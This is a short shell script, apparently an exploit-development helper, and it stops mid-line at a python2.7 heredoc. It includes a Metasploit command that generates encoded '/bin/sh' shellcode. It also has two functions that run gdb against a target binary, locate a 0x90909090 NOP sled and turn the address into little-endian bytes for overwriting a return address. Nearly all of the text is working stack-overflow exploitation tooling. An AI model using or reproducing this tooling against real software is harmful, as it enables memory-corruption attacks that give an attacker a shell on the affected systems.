#!/bin/sh # generate shellcode with metasploit (exec /bin/sh): # ./msfpayload linux/x86/exec cmd=/bin/sh R | ./msfencode -b '\x00\x09\x0a\x0d\x1b\x20' # uses (currently) only self-written shellcode .. DIR="$(dirname $0)" find_return_adr32() { if [ -z "$1" -o -z "$2" -o -z "$3" ]; then return 1 fi ret=$(gdb -batch -x "${DIR}/dump32.gdb" --args $1 $2) adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) if [ $? -ne 0 ]; then echo "$0: no adr found: ${adr}" return 1 fi chs=$(echo ${adr} | cut -d ' ' -f $3) if [ $? -ne 0 ]; then echo "$0: check adr index: $3" return 1 fi echo $(echo "${chs}" | sed 's/0x\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)/\\x\4\\x\3\\x\2\\x\1/') return 0 } find_return_adr64() { if [ -z "$1" -o -z "$2" -o -z "$3" ]; then return 1 fi ret=$(gdb -batch -x "${DIR}/dump64.gdb" --args $1 $2) adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) if [ $? -ne 0 ]; then echo "$0: no adr found: ${adr}" return 1 fi chs=$(echo ${adr} | cut -d ' ' -f $3) if [ $? -ne 0 ]; then echo "$0: check adr index: $3" return 1 fi python2.7 - <